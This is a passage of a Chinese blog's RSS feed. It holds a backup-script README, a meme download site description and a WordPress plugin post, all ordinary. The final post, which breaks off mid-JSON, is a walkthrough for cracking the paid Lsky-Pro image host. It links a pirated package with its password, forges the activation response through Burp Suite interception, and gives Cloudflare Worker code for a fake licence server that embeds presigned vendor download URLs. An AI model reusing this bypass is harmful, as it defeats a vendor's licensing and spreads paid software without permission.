<li>本地运行时也会执行隐私检查,需要设置有效的 <code>GITHUB_TOKEN</code> 和 <code>GITHUB_REPOSITORY</code></li>
|
||
<li>如果您需要在测试环境中跳过检查,请修改源代码 <code>self.force_private_repo</code> 值</li>
|
||
</ul>
|
||
<ol>
|
||
<li>运行脚本:</li>
|
||
</ol>
|
||
<pre><code>python backup_script.py
|
||
</code></pre>
|
||
<h2>故障排除</h2>
|
||
<h3>常见问题</h3>
|
||
<ol>
|
||
<li>
|
||
<p><strong>🔒 仓库隐私检查失败</strong></p>
|
||
<ul>
|
||
<li><strong>问题</strong>: 显示"仓库当前为公开状态"错误</li>
|
||
<li><strong>解决</strong>: 将仓库设置为私有
|
||
<ol>
|
||
<li>前往 GitHub 仓库设置: <code>https://github.com/用户名/仓库名/settings</code></li>
|
||
<li>滚动到底部 <code>Danger Zone</code> 区域</li>
|
||
<li>点击 <code>Change repository visibility</code> → <code>Make private</code></li>
|
||
</ol>
|
||
</li>
|
||
<li><strong>注意</strong>: 程序会拒绝在公开仓库中备份敏感数据</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p><strong>GitHub API 访问失败</strong></p>
|
||
<ul>
|
||
<li><strong>问题</strong>: "无法验证仓库隐私状态"</li>
|
||
<li><strong>原因</strong>: GitHub Token 权限不足或网络问题</li>
|
||
<li><strong>解决</strong>: 确认 Actions 有足够权限访问仓库信息(通常 <code>GITHUB_TOKEN</code> 自动提供)</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p><strong>认证失败</strong></p>
|
||
<ul>
|
||
<li>检查用户名和密码是否正确</li>
|
||
<li>确认GitHub机密设置正确</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p><strong>网络连接问题</strong></p>
|
||
<ul>
|
||
<li>检查完整URL是否正确(http与非标准端口需要填写完整URL)</li>
|
||
<li>确认服务器端口是否开放</li>
|
||
<li>确认网站的完整API路径可访问</li>
|
||
<li>确保使用版本支持导出</li>
|
||
<li>确认网站没有IP限制</li>
|
||
<li>如果使用HTTP,确保服务器支持HTTP连接</li>
|
||
<li><strong>HTTP特有问题</strong>:某些网络环境可能阻止HTTP连接,建议先测试HTTPS</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p><strong>协议相关问题</strong></p>
|
||
<ul>
|
||
<li><strong>HTTP</strong>: 检查是否被防火墙或代理阻止</li>
|
||
<li><strong>HTTPS</strong>: 检查SSL证书是否有效</li>
|
||
<li><strong>端口</strong>: 确认自定义端口已正确开放</li>
|
||
<li><strong>超时</strong>: 如果服务器响应慢,可能需要增加超时时间</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p><strong>JSON解析错误</strong></p>
|
||
<ul>
|
||
<li>确认版本大于2.0.3</li>
|
||
<li>检查API是否正常工作</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p><strong>变更检测问题</strong></p>
|
||
<ul>
|
||
<li>如果怀疑变更检测有误,可以设置 <code>ENABLE_CHANGE_DETECTION=false</code> 强制备份</li>
|
||
<li>检查 <code>latest_backup.json</code> 文件是否存在且格式正确</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p><strong>配置错误</strong></p>
|
||
<ul>
|
||
<li>如果看到 <code>invalid literal for int()</code> 错误,检查 <code>MAX_BACKUPS</code> 是否设置了有效数字</li>
|
||
<li>可选配置项如果不需要可以不设置,程序会使用默认值</li>
|
||
</ul>
|
||
</li>
|
||
</ol>
|
||
<h3>本地测试方法</h3>
|
||
<p>在配置GitHub Actions之前,建议先在本地测试连接:</p>
|
||
<pre><code># 测试HTTP连接
|
||
curl -v -u "username:password" "http:///api/manage/sysConfig/backup?action=backup"
|
||
|
||
# 测试HTTPS连接(如果支持)
|
||
curl -v -u "username:password" "https:///api/manage/sysConfig/backup?action=backup"
|
||
|
||
# 检查端口是否开放
|
||
telnet 11
|
||
</code></pre>
|
||
<h3>查看日志</h3>
|
||
<p>在GitHub Actions页面可以查看详细的执行日志,包括:</p>
|
||
<ul>
|
||
<li>认证过程</li>
|
||
<li>下载进度</li>
|
||
<li>变更检测结果</li>
|
||
<li>文件保存状态</li>
|
||
<li>错误信息</li>
|
||
</ul>
|
||
<h2>自定义配置</h2>
|
||
<p>你可以修改以下设置:</p>
|
||
<h3>修改备份时间</h3>
|
||
<p>编辑 <code>.github/workflows/backup.yml</code> 中的cron表达式:</p>
|
||
<pre><code>schedule:
|
||
- cron: '0 18 * * *' # 每天UTC时间18:00(北京时间02:00)
|
||
</code></pre>
|
||
<h3>修改保留备份数量</h3>
|
||
<p>编辑 <code>backup_script.py</code> 中的清理逻辑,或者在GitHub仓库机密中设置 <code>MAX_BACKUPS</code>:</p>
|
||
<pre><code># 默认保留最近的100个备份文件
|
||
self.max_backups = int(os.getenv('MAX_BACKUPS', '100'))
|
||
</code></pre>
|
||
<h3>禁用变更检测</h3>
|
||
<p>如果你希望每次都强制保存(不管数据是否变化),可以设置:</p>
|
||
<pre><code># 在GitHub仓库机密中设置
|
||
ENABLE_CHANGE_DETECTION: false
|
||
</code></pre>
|
||
<h2>安全注意事项</h2>
|
||
<ol>
|
||
<li>
|
||
<p><strong>🔒 仓库隐私保护</strong>:</p>
|
||
<ul>
|
||
<li><strong>强制私有仓库</strong>: 程序强制要求仓库必须设置为私有状态,无法禁用</li>
|
||
<li><strong>自动检查机制</strong>: 程序会在每次运行前检查仓库隐私状态</li>
|
||
<li><strong>拒绝公开备份</strong>: 检测到公开仓库时会立即终止备份任务</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p><strong>机密管理</strong>:</p>
|
||
<ul>
|
||
<li>永远不要在代码中硬编码用户名和密码</li>
|
||
<li>使用GitHub Secrets安全存储敏感信息</li>
|
||
<li>定期轮换密码和访问令牌</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p><strong>访问权限</strong>:</p>
|
||
<ul>
|
||
<li>确保GitHub仓库的访问权限设置合适</li>
|
||
<li>仅向必要人员授予仓库访问权限</li>
|
||
<li>考虑启用分支保护规则</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p><strong>备份内容</strong>:</p>
|
||
<ul>
|
||
<li>备份文件可能包含用户数据、配置信息、API密钥等敏感信息</li>
|
||
<li>定期审查备份内容,确保没有意外包含不应备份的敏感数据</li>
|
||
<li>考虑对备份文件进行额外的加密处理</li>
|
||
</ul>
|
||
</li>
|
||
<li>
|
||
<p><strong>监控和审计</strong>:</p>
|
||
<ul>
|
||
<li>定期检查Actions运行日志</li>
|
||
<li>监控仓库访问记录</li>
|
||
<li>及时响应任何安全警告</li>
|
||
</ul>
|
||
</li>
|
||
</ol>
|
||
<p><strong>⚠️ 重要提醒</strong>: 数据安全是您的责任。虽然程序提供了多重保护机制,但请始终保持安全意识,确保正确配置和使用。</p>
|
||
<h2>贡献</h2>
|
||
<p>欢迎提交<a href="https://github.com/yunsen2025/cloudflare-imgbed-auto-backup/issues">Issues</a>和<a href="https://github.com/yunsen2025/cloudflare-imgbed-auto-backup/pulls">Pull Requests</a>来改进这个项目!</p>
|
||
<h2>许可证</h2>
|
||
<p>MIT License</p>
|
||
</content:encoded></item><item><title>Ciallo~(∠・ω< )⌒★</title><link>https://blog.acofork.com/posts/paoshoushou/</link><guid isPermaLink="true">https://blog.acofork.com/posts/paoshoushou/</guid><description>[开源]刨手手表情包下载站</description><pubDate>Thu, 21 Aug 2025 00:00:00 GMT</pubDate><content:encoded><blockquote>
|
||
<p>本文由 https://github.com/afoim/fuwari/pull/40 提供,非站长原创</p>
|
||
</blockquote>
|
||
<h1>刨手手表情包下载站</h1>
|
||
<p>一个简单、美观、现代化的表情包预览和下载网站 <a href="https://paoshoushou.112601.xyz/">体验界面</a>
|
||
<img src="https://imgbed.112601.xyz/file/1755431008556.png" alt="示例" /><br />
|
||
<a href="#">项目主页文章(博客)</a> | <a href="https://paoshoushou.112601.xyz/">体验界面</a> | <a href="https://github.com/yunsen2025/paoshoushouGIF-web">GitHub仓库</a></p>
|
||
<blockquote>
|
||
<p>[!NOTE]</p>
|
||
<p><strong>这是一个纯前端项目,无需后端支持,可直接部署到任何静态网站托管服务</strong></p>
|
||
</blockquote>
|
||
<hr />
|
||
<h1>项目特性:</h1>
|
||
<ul>
|
||
<li>🎨 <strong>现代化设计</strong>:采用渐变背景、玻璃拟态、流畅动画等现代UI设计</li>
|
||
<li>📱 <strong>完全响应式</strong>:支持手机、平板、电脑等各种设备,自适应布局</li>
|
||
<li>⚡ <strong>轻量高效</strong>:纯HTML+CSS+JS,无框架依赖,加载速度快</li>
|
||
<li>🖱️ <strong>交互友好</strong>:点击图片直接下载,悬停显示下载提示,操作简单直观</li>
|
||
<li>🎭 <strong>丰富表情</strong>:内置多个精选表情包,涵盖各种场景</li>
|
||
<li>📦 <strong>自动打包</strong>:GitHub Actions自动打包表情包为zip文件,发布到Releases</li>
|
||
<li>🔧 <strong>易于扩展</strong>:简单的数组配置,可轻松添加新的表情包</li>
|
||
</ul>
|
||
<hr />
|
||
<h1>使用方式:</h1>
|
||
<h2>1. 直接访问</h2>
|
||
<p>访问在线体验地址:<a href="https://paoshoushou.112601.xyz/">https://paoshoushou.112601.xyz/</a></p>
|
||
<h2>2. 本地部署</h2>
|
||
<ol>
|
||
<li>克隆或下载项目文件</li>
|
||
</ol>
|
||
<pre><code>git clone https://github.com/yunsen2025/paoshoushouGIF-web.git
|
||
</code></pre>
|
||
<ol>
|
||
<li>直接用浏览器打开 <code>index.html</code> 文件</li>
|
||
</ol>
|
||
<h2>3. 服务器部署</h2>
|
||
<p>将项目文件上传到任何支持静态文件的Web服务器即可</p>
|
||
<hr />
|
||
<h1>文件结构</h1>
|
||
<pre><code>paoshoushouGIF-web/
|
||
├── index.html # 主页面文件
|
||
├── claude.html # 备用页面
|
||
├── README.md # 项目说明
|
||
├── pack-release.sh # 手动打包脚本
|
||
├── .github/
|
||
│ └── workflows/
|
||
│ └── release.yml # GitHub Actions自动打包配置
|
||
└── gif/ # 表情包文件夹
|
||
├── 0.gif
|
||
├── 1.gif
|
||
├── ...
|
||
└── 48.gif
|
||
</code></pre>
|
||
<hr />
|
||
<h1>功能说明</h1>
|
||
<h2>核心功能</h2>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>功能</th>
|
||
<th>描述</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td>表情预览</td>
|
||
<td>网格布局展示所有表情包,支持懒加载</td>
|
||
</tr>
|
||
<tr>
|
||
<td>点击下载</td>
|
||
<td>点击任意表情包图片即可下载到本地</td>
|
||
</tr>
|
||
<tr>
|
||
<td>悬停提示</td>
|
||
<td>鼠标悬停显示下载图标提示</td>
|
||
</tr>
|
||
<tr>
|
||
<td>批量下载</td>
|
||
<td>点击右上角按钮可下载整个项目</td>
|
||
</tr>
|
||
<tr>
|
||
<td>响应式布局</td>
|
||
<td>根据屏幕大小自动调整列数</td>
|
||
</tr>
|
||
<tr>
|
||
<td>加载动画</td>
|
||
<td>表情包依次淡入,提升用户体验</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<h2>技术特色</h2>
|
||
<ul>
|
||
<li><strong>现代CSS</strong>:使用CSS Grid、Flexbox、渐变、阴影等现代特性</li>
|
||
<li><strong>流畅动画</strong>:悬停效果、过渡动画、加载动画</li>
|
||
<li><strong>玻璃拟态</strong>:毛玻璃效果营造现代感</li>
|
||
<li><strong>多媒体查询</strong>:5个断点适配不同屏幕尺寸</li>
|
||
</ul>
|
||
<hr />
|
||
<h1>自动打包说明</h1>
|
||
<h2>🤖 GitHub Actions 自动打包</h2>
|
||
<p>项目配置了GitHub Actions,可以自动将gif文件夹打包为zip文件:</p>
|
||
<h3>触发条件</h3>
|
||
<ul>
|
||
<li>当向 <code>gif/</code> 文件夹添加新文件时自动触发</li>
|
||
<li>手动在GitHub上触发 (Actions -&gt; 自动打包表情包 -&gt; Run workflow)</li>
|
||
</ul>
|
||
<h3>下载方式</h3>
|
||
<ol>
|
||
<li>访问 <a href="https://github.com/yunsen2025/paoshoushouGIF-web/releases">Releases页面</a></li>
|
||
<li>下载最新版本的zip文件</li>
|
||
<li>或点击网站右上角"📦 一键下载图包"按钮</li>
|
||
</ol>
|
||
<h3>文件内容</h3>
|
||
<p>打包的zip文件包含:</p>
|
||
<ul>
|
||
<li>所有gif表情包文件</li>
|
||
<li>README.txt说明文件(包含使用说明和版权信息)</li>
|
||
</ul>
|
||
<hr />
|
||
<h1>自定义配置</h1>
|
||
<h2>添加新表情包</h2>
|
||
<ol>
|
||
<li>将GIF文件放入 <code>gif/</code> 文件夹</li>
|
||
<li>在 <code>index.html</code> 中的 <code>memeData</code> 数组添加新条目:</li>
|
||
</ol>
|
||
<pre><code>const memeData = [
|
||
// 现有表情包...
|
||
{ name: "新表情", url: "/gif/新文件名.gif" }
|
||
];
|
||
</code></pre>
|
||
<ol>
|
||
<li>推送到GitHub后,Actions会自动创建新的打包版本</li>
|
||
</ol>
|
||
<h2>修改样式主题</h2>
|
||
<p>在CSS中修改以下变量来改变主题色彩:</p>
|
||
<ul>
|
||
<li>背景渐变:<code>body</code> 的 <code>background</code></li>
|
||
<li>头部颜色:<code>header</code> 的 <code>background</code></li>
|
||
<li>卡片样式:<code>.meme-item</code> 相关样式</li>
|
||
</ul>
|
||
<hr />
|
||
<h1>浏览器兼容性</h1>
|
||
<ul>
|
||
<li>✅ Chrome 60+</li>
|
||
<li>✅ Firefox 55+</li>
|
||
<li>✅ Safari 12+</li>
|
||
<li>✅ Edge 79+</li>
|
||
<li>✅ 移动端浏览器</li>
|
||
</ul>
|
||
<hr />
|
||
<h1>开源协议</h1>
|
||
<p>本项目采用 MIT 协议开源,欢迎 Fork 和贡献代码。</p>
|
||
<hr />
|
||
<h1>特别说明</h1>
|
||
<ul>
|
||
<li>本网站仅提供表情包预览与下载,版权归原作者所有</li>
|
||
<li>如有侵权,请通过 GitHub Issues 联系我们</li>
|
||
<li>欢迎通过 Pull Request 贡献更多表情包内容</li>
|
||
</ul>
|
||
</content:encoded></item><item><title>简洁的wordpress评论回复插件示例</title><link>https://blog.acofork.com/posts/wordpress-pinglunhuifu/</link><guid isPermaLink="true">https://blog.acofork.com/posts/wordpress-pinglunhuifu/</guid><description>Wordpress回复插件</description><pubDate>Thu, 21 Aug 2025 00:00:00 GMT</pubDate><content:encoded><blockquote>
|
||
<p>本文由 https://github.com/afoim/fuwari/pull/40 提供,非站长原创</p>
|
||
</blockquote>
|
||
<p><a href="https://github.com/yunsen2025/wordpress-pinglunhuifu">https://github.com/yunsen2025/wordpress-pinglunhuifu</a></p>
|
||
<h1>效果演示</h1>
|
||
<p><img src="https://imgbed.112601.xyz/file/1755431020051.png" alt="alt text" /></p>
|
||
<h1>关于代码</h1>
|
||
<p><a href="https://www.yunsen2025.top/007-wp-ping-lun-hui-fu-cha-jian/">https://www.yunsen2025.top/007-wp-ping-lun-hui-fu-cha-jian/</a><br />
|
||
必应搜的优化了一下,不满意的可以自由更换插件中的邮件html内容</p>
|
||
<h1>使用方法</h1>
|
||
<p>直接下载php打包zip去wp后台上传或把代码粘贴到functions.php(主题一更新就没了)</p>
|
||
<h1>赞助</h1>
|
||
<p><a href="https://www.yunsen2025.top/support/">前往</a></p>
|
||
</content:encoded></item><item><title>记录破解兰空图床(Lsky-Pro)</title><link>https://blog.acofork.com/posts/hack-lskypro/</link><guid isPermaLink="true">https://blog.acofork.com/posts/hack-lskypro/</guid><description>兰空图床是一个简洁易用(?)的图床框架,抓包了一下激活过程,这玩意居然没加密...记录一下</description><pubDate>Tue, 19 Aug 2025 21:09:47 GMT</pubDate><content:encoded><blockquote>
|
||
<p>仅供学习交流,请在下载后24h内删除。体验地址: https://lsky.2x.nz</p>
|
||
</blockquote>
|
||
<h1>新版本地安装,无需绕过授权! <a href="/posts/lskypro-local/">点我</a></h1>
|
||
<h1>下载包体</h1>
|
||
<p>兰空图床Pro付费版包: https://r2.072103.xyz/lp223.zpaq (解压密码:2x.nz二叉树树)</p>
|
||
<h1>配置环境</h1>
|
||
<p>自行参考: https://docs.lsky.pro/guide/install</p>
|
||
<p><strong>推荐使用宝塔面板部署</strong>,1Panel的容器化PHP好像有点问题</p>
|
||
<p>如果坚持要用1Panel,推荐使用PHP8.2,出现500,404等状态码问题请自行解决,似乎需要一个特殊的 <code>fallback</code> 设置。感谢 fishcpy提供的解决方案!这里是他的部署教程: <a href="https://linux.do/t/topic/882900">AcoFork的兰空图床开心版1panel部署教程 - 福利羊毛 - LINUX DO</a></p>
|
||
<pre><code> # 全局 404 交给 @fallback 处理,不强制状态码
|
||
error_page 404 @fallback;
|
||
|
||
location / {
|
||
try_files $uri $uri/ @fallback;
|
||
}
|
||
|
||
# 命名 location:交给 index.php,但不强制 200
|
||
location @fallback {
|
||
rewrite ^ /index.php last;
|
||
}
|
||
|
||
# -----------------------------
|
||
# 特殊路径:/api/v2/ 也走 index.php,但不能强制 200
|
||
# -----------------------------
|
||
location ^~ /api/v2/ {
|
||
# 同样使用 @fallback,不强制状态码
|
||
try_files $uri $uri/ @fallback;
|
||
}
|
||
</code></pre>
|
||
<h1>破解授权</h1>
|
||
<p>首先为你的Linux配置一个HTTP代理,指向 Burp Suite(软件自己找)</p>
|
||
<pre><code>export http_proxy="http://127.0.0.1:8080"
|
||
export https_proxy="http://127.0.0.1:8080"
|
||
</code></pre>
|
||
<p><img src="https://blog.acofork.com/_astro/a5fd2695975981d785cea1af5c0ee9588dc1b9ee.DUfv4f3B.png" alt="" /></p>
|
||
<p>默认Burp仅拦截请求,不拦截响应,需要手动设置一下</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2690f8470df19d0c4a0f134835a7cbc95c9798fd.ahFuCoGN.png" alt="" /></p>
|
||
<p>然后启用拦截</p>
|
||
<p><img src="https://blog.acofork.com/_astro/52650c556acc9406923fb824823fe3a04e153d5d.q3y15nGq.png" alt="" /></p>
|
||
<p>当你通过官方教程到执行 <code>./install.sh</code> 的时候</p>
|
||
<p>会要求输入域名和授权密钥,域名填你自己的,否则之后上传的图片的预览地址将会不正确!授权密钥随便填!</p>
|
||
<p><img src="https://blog.acofork.com/_astro/67b17d4c5f5d7ba8d2e2ee348d19bc01c6d42b1d.6VpGAQfV.png" alt="" /></p>
|
||
<p>回车,会开始转圈圈</p>
|
||
<p><img src="https://blog.acofork.com/_astro/fb540faa472d476e8d6b05a04d01be5a19adb236.zgFprmd_.png" alt="" /></p>
|
||
<p>查看Burp,发现多了一个请求,首先点击放行</p>
|
||
<p><img src="https://blog.acofork.com/_astro/8a6dd20b7ad55a9fdad795be358b8486b75de5b7.qQkpcSwj.png" alt="" /></p>
|
||
<p>现在出现了响应,并且状态码为401</p>
|
||
<p><img src="https://blog.acofork.com/_astro/ce862cb4eeefc2a7a52bea44e4e6ab137a7cd3da.BCRMRJ0h.png" alt="" /></p>
|
||
<p>响应那块是可以编辑的,用 https://r2.072103.xyz/lsky_success_223.txt 中的内容替换原响应。然后点击放行</p>
|
||
<p><img src="https://blog.acofork.com/_astro/b8545b978629815aec471489890a0be62f0a8f89.AjyFWKM7.png" alt="" /></p>
|
||
<p>恭喜,通过授权了</p>
|
||
<p><img src="https://blog.acofork.com/_astro/fdda3a54fd4a6da5d0c0c9d5ac0fbd5b79ef2b51.DiD4Op2o.png" alt="" /></p>
|
||
<p>安装完毕后也一样</p>
|
||
<p><img src="https://blog.acofork.com/_astro/79f0f4645235e7cb3ecbe554cb13295bed326be5.Dvas3eI5.png" alt="" />38dd52c6e.png)</p>
|
||
<blockquote>
|
||
<p>注意。如果需要更新新版本,仍然需要有效的授权密钥,否则无法得到新版包体</p>
|
||
</blockquote>
|
||
<h1>自建授权服务器</h1>
|
||
<p>可以通过Cloudflare Worker自建授权。感谢一位不愿透露姓名的小伙伴提供的代码</p>
|
||
<pre><code>addEventListener('fetch', event =&gt; {
|
||
event.respondWith(handleRequest(event.request));
|
||
});
|
||
|
||
async function handleRequest(request) {
|
||
const jsonContent = `[{"logo":"products\\/lsky-pro.png","name":"V 2.2.3","version":"2.2.3","changelog":"### \\u4f18\\u5316\\n- \\u6539\\u8fdb\\u76f8\\u518c\\u5217\\u8868\\u6837\\u5f0f\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u4f7f\\u7528\\u624b\\u673a\\u53f7\\u6ce8\\u518c\\u8d26\\u53f7\\u8981\\u6c42\\u8f93\\u5165\\u90ae\\u7bb1\\u7684 bug\\n- \\u4fee\\u590d\\u72ec\\u7acb\\u9875\\u9762 title \\u663e\\u793a\\u4e0d\\u6b63\\u786e\\u7684 bug","pushed_at":"2025-07-29","milestone":"stable","download_url":"https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.2.3.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;X-Amz-Date=20250818T141321Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=1800&amp;X-Amz-Signature=40682060b50fa3ee0f520f78418e5f0754277e14e4794f5e283ab4149a6028eb"},{"logo":"products\\/lsky-pro.png","name":"V 2.2.2","version":"2.2.2","changelog":"### \\u65b0\\u589e\\n- \\u540e\\u53f0\\u7ba1\\u7406\\u5217\\u8868\\u589e\\u52a0\\u8fc7\\u6ee4\\u5668\\n- \\u652f\\u6301\\u8bbe\\u7f6e\\u9ed8\\u8ba4\\u4e0a\\u4f20\\u50a8\\u5b58\\n- \\u652f\\u6301\\u6279\\u91cf\\u590d\\u5236\\u94fe\\u63a5\\n- \\u652f\\u6301\\u63a7\\u5236\\u5e7f\\u573a\\u662f\\u5426\\u5c55\\u793a\\n\\n### \\u4f18\\u5316\\n- \\u6539\\u8fdb\\u6837\\u5f0f\\n- \\u7f51\\u9875 title \\u6839\\u636e\\u5f53\\u524d\\u83dc\\u5355\\u663e\\u793a\\n- \\u4eea\\u8868\\u76d8\\u589e\\u52a0\\u7edf\\u8ba1\\u5361\\u7247\\n- \\u6539\\u8fdb\\u5e7f\\u573a\\u7684\\u56fe\\u7247\\u5217\\u8868\\u663e\\u793a\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u4f7f\\u7528 libvips \\u9a71\\u52a8\\u65f6\\u4e91\\u5904\\u7406\\u8f93\\u51fa\\u56fe\\u7247\\u8fd8\\u662f\\u4f7f\\u7528 imagick \\u5904\\u7406\\u7684 bug\\n- \\u4fee\\u590d\\u56fe\\u7247\\u5904\\u7406\\u4e2d\\u6c34\\u5370\\u9009\\u62e9\\u5e73\\u94fa\\u540e\\u4fdd\\u5b58\\u63d0\\u793a\\u9700\\u8981\\u9009\\u62e9\\u6c34\\u5370\\u4f4d\\u7f6e\\u7684 bug\\n- \\u4fee\\u590d\\u5220\\u9664\\u56fe\\u7247\\u540e\\u4e91\\u5904\\u7406\\u7f13\\u5b58\\u56fe\\u7247\\u672a\\u88ab\\u5220\\u9664\\u7684 bug\\n- \\u4fee\\u590d\\u4e03\\u725b\\u4e91\\u65e0\\u6cd5\\u4f7f\\u7528\\u4e91\\u5904\\u7406\\u7684 bug\\n- \\u4fee\\u590d docker \\u8fd0\\u884c\\u65f6\\u51fa\\u73b0\\u50f5\\u5c38\\u8fdb\\u7a0b\\u7684 bug","pushed_at":"2025-07-28","milestone":"stable","download_url":"https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.2.2.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;X-Amz-Date=20250818T141321Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=1800&amp;X-Amz-Signature=3bf98a43189be65ec64339f67db0e98e58e76646e820994d05727869167aade0"},{"logo":"products\\/lsky-pro.png","name":"V 2.2.1","version":"2.2.1","changelog":"### \\u65b0\\u589e\\n- \\u50a8\\u5b58\\u652f\\u6301\\u63a7\\u5236\\u662f\\u5426\\u9700\\u8981\\u751f\\u6210\\u7f29\\u7565\\u56fe\\n- \\u652f\\u6301\\u901a\\u8fc7\\u7ec8\\u7aef\\u547d\\u4ee4\\u66f4\\u6539\\u7528\\u6237\\u5bc6\\u7801\uff08\\u5305\\u542b\\u7ba1\\u7406\\u5458\uff09\\n- \\u652f\\u6301\\u7528\\u6237\\u7ba1\\u7406\\u4e2d\\u5220\\u9664\\u6307\\u5b9a\\u7528\\u6237\\u6240\\u6709\\u56fe\\u7247\\n- \\u652f\\u6301\\u8fdc\\u7a0b\\u4e0b\\u8f7d\\u56fe\\u7247\\u529f\\u80fd\\n- \\u589e\\u52a0\\u6309\\u94ae\\u70b9\\u51fb\\u52a8\\u4f5c\uff0c\\u63a7\\u5236\\u4e0a\\u4f20\\u6309\\u94ae\\u70b9\\u51fb\\u540e\\u6253\\u5f00\\u4e0a\\u4f20\\u961f\\u5217\\u6216\\u6587\\u4ef6\\u9009\\u62e9\\n- \\u91cd\\u5199 docker \\u811a\\u672c\uff0c\\u73b0\\u652f\\u6301\\u76f4\\u63a5\\u5bfc\\u5165\\u955c\\u50cf\\u5b89\\u88c5\uff0c\\u4e00\\u952e\\u542f\\u52a8\\n\\n### \\u4f18\\u5316\\n- \\u5220\\u9664\\u8fdd\\u89c4\\u8bb0\\u5f55\\u540c\\u65f6\\u6062\\u590d\\u56fe\\u7247\\u72b6\\u6001\\n- \\u6539\\u8fdb\\u540e\\u53f0\\u7ba1\\u7406\\u65e5\\u671f\\u663e\\u793a\\u683c\\u5f0f\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u5fae\\u4fe1\\u652f\\u4ed8\\u65e0\\u6cd5\\u663e\\u793a\\u652f\\u4ed8\\u4e8c\\u7ef4\\u7801\\u7684 bug\\n- \\u4fee\\u590d\\u76f8\\u518c\\u4e2d\\u7684\\u56fe\\u7247\\u5217\\u8868\\u9009\\u4e2d\\u540e\uff0c\\u64cd\\u4f5c\\u5217\\u4e0d\\u663e\\u793a\\u5220\\u9664\\u56fe\\u7247\\u6309\\u94ae\\u7684 bug\\n- \\u4fee\\u590d\\u4f7f\\u7528 mariadb \\u6570\\u636e\\u5e93\\u65f6\\u8bbf\\u95ee\\u540e\\u53f0\\u63a7\\u5236\\u53f0\\u62a5\\u9519\\u7684 bug\\n- \\u4fee\\u590d\\u63a5\\u53e3\\u4e0a\\u4f20\\u6ca1\\u6709\\u540e\\u7f00\\u540d\\u7684\\u6587\\u4ef6\uff0c\\u8fd4\\u56de\\u7684\\u94fe\\u63a5\\u4e5f\\u662f\\u6ca1\\u6709\\u540e\\u7f00\\u7684 bug","pushed_at":"2025-06-27","milestone":"stable","download_url":"https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.2.1.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;X-Amz-Date=20250818T141321Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=1800&amp;X-Amz-Signature=ed3bf3338a76881c432bbab7c39720e1f6c131f317c931dade3ecbb9b787dc8e"},{"logo":"products\\/lsky-pro.png","name":"V 2.2.0 \\u6b63\\u5f0f\\u7248\\u672c","version":"2.2.0","changelog":"### \\u65b0\\u589e\\n- \\u65b0\\u589e\\u90ae\\u4ef6\\u9a71\\u52a8\\u5668\\u589e\\u52a0\\u6d4b\\u8bd5\\u529f\\u80fd\\n- \\u65b0\\u589e\\u652f\\u6301\\u81ea\\u5b9a\\u4e49 css\\u3001js \\u4ee3\\u7801\uff08\\u52a8\\u6001\\u52a0\\u8f7d\uff09\\n- \\u65b0\\u589e\\u662f\\u5426\\u542f\\u7528\\u7ad9\\u70b9\\u5f00\\u5173\uff0c\\u6df7\\u5408\\u90e8\\u7f72\\u4e0b\\u53ef\\u63a7\\u5236\\u662f\\u5426\\u542f\\u7528\\u524d\\u7aef\uff08\\u4fdd\\u7559\\u63a5\\u53e3\\u53ef\\u7528\uff09\\n- \\u65b0\\u589e\\u62d6\\u62fd\\u56fe\\u7247\\u4e0a\\u4f20\\u529f\\u80fd\uff08\\u4efb\\u610f\\u9875\\u9762\uff09\\n- \\u65b0\\u589e\\u7cfb\\u7edf\\u4fe1\\u606f\\u7edf\\u8ba1\\u63a5\\u53e3\uff0c\\u53ef\\u901a\\u8fc7\\u540e\\u53f0\\u63a7\\u5236\\u662f\\u5426\\u542f\\u7528\uff08\\u652f\\u6301\\u8bbe\\u7f6e\\u63a5\\u53e3\\u8bbf\\u95ee\\u5bc6\\u94a5\uff09\\n- \\u65b0\\u589e\\u50a8\\u5b58\\u652f\\u6301\\u8bbe\\u7f6e\\u7f29\\u7565\\u56fe\\u6700\\u5927\\u5c3a\\u5bf8\\u548c\\u7f29\\u7565\\u56fe\\u8d28\\u91cf\uff08\\u65b0\\u4e0a\\u4f20\\u7684\\u56fe\\u7247\\u751f\\u6548\uff09\\n- \\u65b0\\u589e\\u961f\\u5217\\u5217\\u8868\\u7684\\u663e\\u793a\uff08\\u8fdb\\u884c\\u4e2d\\u3001\\u5f02\\u5e38\\u961f\\u5217\\u3001\\u6279\\u5904\\u7406\\u961f\\u5217\uff09\\n\\n### \\u4f18\\u5316\\n- 